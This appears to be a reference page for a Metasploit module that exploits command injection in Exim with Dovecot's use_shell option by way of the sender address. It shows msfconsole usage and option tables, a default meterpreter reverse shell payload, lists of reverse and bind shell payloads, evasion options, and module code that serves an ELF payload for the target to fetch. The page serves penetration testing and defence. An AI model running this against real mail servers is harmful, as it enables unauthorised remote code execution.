Exim and Dovecot Insecure Configuration Command Injection - Metasploit
This page contains detailed information about how to use the exploit/linux/smtp/exim4_dovecot_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Exim and Dovecot Insecure Configuration Command Injection
Module: exploit/linux/smtp/exim4_dovecot_exec
Source code: modules/exploits/linux/smtp/exim4_dovecot_exec.rb
Disclosure date: 2013-05-03
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): x86
Supported platform(s): Linux
Target service / protocol: smtp, smtps
Target network port(s): 25, 465, 587, 2525, 25000, 25025
List of CVEs: -
This module exploits a command injection vulnerability against Dovecot with Exim using the "use_shell" option. It uses the sender's address to inject arbitrary commands, since this is one of the user-controlled variables. It has been successfully tested on Debian Squeeze using the default Exim4 with the dovecot-common packages.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/linux/smtp/exim4_dovecot_exec
msf exploit(exim4_dovecot_exec) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the linux/smtp/exim4_dovecot_exec exploit module looks in the msfconsole:
msf6 > use exploit/linux/smtp/exim4_dovecot_exec
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/smtp/exim4_dovecot_exec) > show info
Name: Exim and Dovecot Insecure Configuration Command Injection
Module: exploit/linux/smtp/exim4_dovecot_exec
Platform: Linux
Arch: x86
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2013-05-03
Provided by:
Unknown
eKKiM
juan vazquez <[email protected]>
Available targets:
Id Name
-- ----
0 Linux x86
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DOWNFILE no Filename to download, (default: random)
DOWNHOST no An alternative host to request the MIPS payload from
EHLO debian.localdomain yes TO address of the e-mail
HTTP_DELAY 60 yes Time that the HTTP Server will wait for the ELF payload request
MAILTO [email protected] yes TO address of the e-mail
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 25 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 80 yes The daemon port to listen on
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
This module exploits a command injection vulnerability against
Dovecot with Exim using the "use_shell" option. It uses the sender's
address to inject arbitrary commands, since this is one of the
user-controlled variables. It has been successfully tested on Debian
Squeeze using the default Exim4 with the dovecot-common packages.
References:
OSVDB (93004)
https://www.exploit-db.com/exploits/25297
https://www.redteam-pentesting.de/advisories/rt-sa-2013-001
Module Options
This is a complete list of options available in the linux/smtp/exim4_dovecot_exec exploit:
msf6 exploit(linux/smtp/exim4_dovecot_exec) > show options
Module options (exploit/linux/smtp/exim4_dovecot_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
DOWNFILE no Filename to download, (default: random)
DOWNHOST no An alternative host to request the MIPS payload from
EHLO debian.localdomain yes TO address of the e-mail
HTTP_DELAY 60 yes Time that the HTTP Server will wait for the ELF payload request
MAILTO [email protected] yes TO address of the e-mail
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 25 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 80 yes The daemon port to listen on
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux x86
Advanced Options
Here is a complete list of advanced options supported by the linux/smtp/exim4_dovecot_exec exploit:
msf6 exploit(linux/smtp/exim4_dovecot_exec) > show advanced
Module advanced options (exploit/linux/smtp/exim4_dovecot_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
SkipVersionCheck false no Specify this to skip the version check
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/smtp/exim4_dovecot_exec module can exploit:
msf6 exploit(linux/smtp/exim4_dovecot_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Linux x86
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/smtp/exim4_dovecot_exec exploit:
msf6 exploit(linux/smtp/exim4_dovecot_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x86/chmod normal No Linux Chmod
6 payload/linux/x86/exec normal No Linux Execute Command
7 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
8 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
9 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
10 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
11 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
12 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
13 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
14 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
15 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
17 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
18 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
19 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
20 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
21 payload/linux/x86/read_file normal No Linux Read File
22 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
23 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
24 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
25 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
26 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
27 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
28 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
29 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
30 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
31 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
32 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
33 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
34 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
35 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/smtp/exim4_dovecot_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/smtp/exim4_dovecot_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<RHOST>:<RPORT> - Target didn't request request the ELF payload -- Maybe it cant connect back to us?
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Target didn't request request the ELF payload -- Maybe it cant connect back to us?" error message:
74: waited = 0
75: while (not @elf_sent)
76: select(nil, nil, nil, 1)
77: waited += 1
78: if (waited > datastore['HTTP_DELAY'])
79: fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
80: end
81: end
82: end
83:
84: # Handle incoming requests from the server
<RHOST>:<RPORT> - A request came in, but the payload wasn't ready yet!
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - A request came in, but the payload wasn't ready yet!" error message:
82: end
83:
84: # Handle incoming requests from the server
85: def on_request_uri(cli, request)
86: if (not @pl)
87: print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
88: return
89: end
90: print_status("#{rhost}:#{rport} - Sending the payload to the server...")
91: @elf_sent = true
92: send_response(cli, @pl)
The Web Server needs to live on SRVPORT=80
Here is a relevant code snippet related to the "The Web Server needs to live on SRVPORT=80" error message:
107: service_url_payload = datastore['DOWNHOST'] + resource_uri
108: else
109:
110: # Needs to be on the port 80
111: if datastore['SRVPORT'].to_i != 80
112: fail_with(Failure::Unknown, 'The Web Server needs to live on SRVPORT=80')
113: end
114:
115: #do not use SSL
116: if datastore['SSL']
117: ssl_restore = true
<RHOST>:<RPORT> - The target server is not running Exim!
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - The target server is not running Exim!" error message:
143: connect
144:
145: print_status("#{rhost}:#{rport} - Server: #{self.banner.to_s.strip}")
146: if not datastore['SkipVersionCheck'] and self.banner.to_s !~ /Exim /
147: disconnect
148: fail_with(Failure::NoTarget, "#{rhost}:#{rport} - The target server is not running Exim!")
149: end
150:
151: ehlo = datastore['EHLO']
152: ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
153: ehlo_resp.each_line do |line|
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8888 Merged Pull Request: spelling/grammar fixes part 1
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7301 Merged Pull Request: Support LHOST for metasploit behind NAT
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #3201 Merged Pull Request: Fix typo.
- #2643 Merged Pull Request: Added option to ignore banner checks
- #2525 Merged Pull Request: Change module boilerplate
- #2229 Merged Pull Request: Add fail_with() to all module types, move Failure constants to Msf::Module
- #1935 Merged Pull Request: Cleanup on module names, descriptions.
- #1928 Merged Pull Request: Add module for OSVDB 93004 - Exim Dovecot exec
References
- CVE: Not available
- OSVDB (93004)
- EDB-25297
- https://www.redteam-pentesting.de/advisories/rt-sa-2013-001
See Also
Check also the following modules related to this module:
- exploit/linux/local/exim4_deliver_message_priv_esc
- exploit/linux/smtp/apache_james_exec
- exploit/linux/smtp/exim_gethostbyname_bof
- exploit/linux/smtp/haraka
- exploit/unix/smtp/exim4_string_format
- exploit/unix/smtp/clamav_milter_blackhole
- exploit/unix/smtp/morris_sendmail_debug
- exploit/unix/smtp/opensmtpd_mail_from_rce
- exploit/unix/smtp/qmail_bash_env_exec
- exploit/windows/smtp/mailcarrier_smtp_ehlo
- exploit/windows/smtp/mercury_cram_md5
- exploit/windows/smtp/ms03_046_exchange2000_xexch50
- exploit/windows/smtp/njstar_smtp_bof
- exploit/windows/smtp/sysgauge_client_bof
- exploit/windows/smtp/wmailserver
- exploit/windows/smtp/ypops_overflow1
- auxiliary/client/smtp/emailer
- auxiliary/dos/smtp/sendmail_prescan
- auxiliary/dos/windows/smtp/ms06_019_exchange
- auxiliary/fuzzers/smtp/smtp_fuzzer
- auxiliary/scanner/smtp/smtp_enum
- auxiliary/scanner/smtp/smtp_ntlm_domain
- auxiliary/scanner/smtp/smtp_relay
- auxiliary/scanner/smtp/smtp_version
- auxiliary/scanner/http/wp_easy_wp_smtp
- auxiliary/server/capture/smtp
- exploit/unix/local/opensmtpd_oob_read_lpe
Related Nessus plugins:
Authors
- Unknown
- eKKiM
- juan vazquez
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.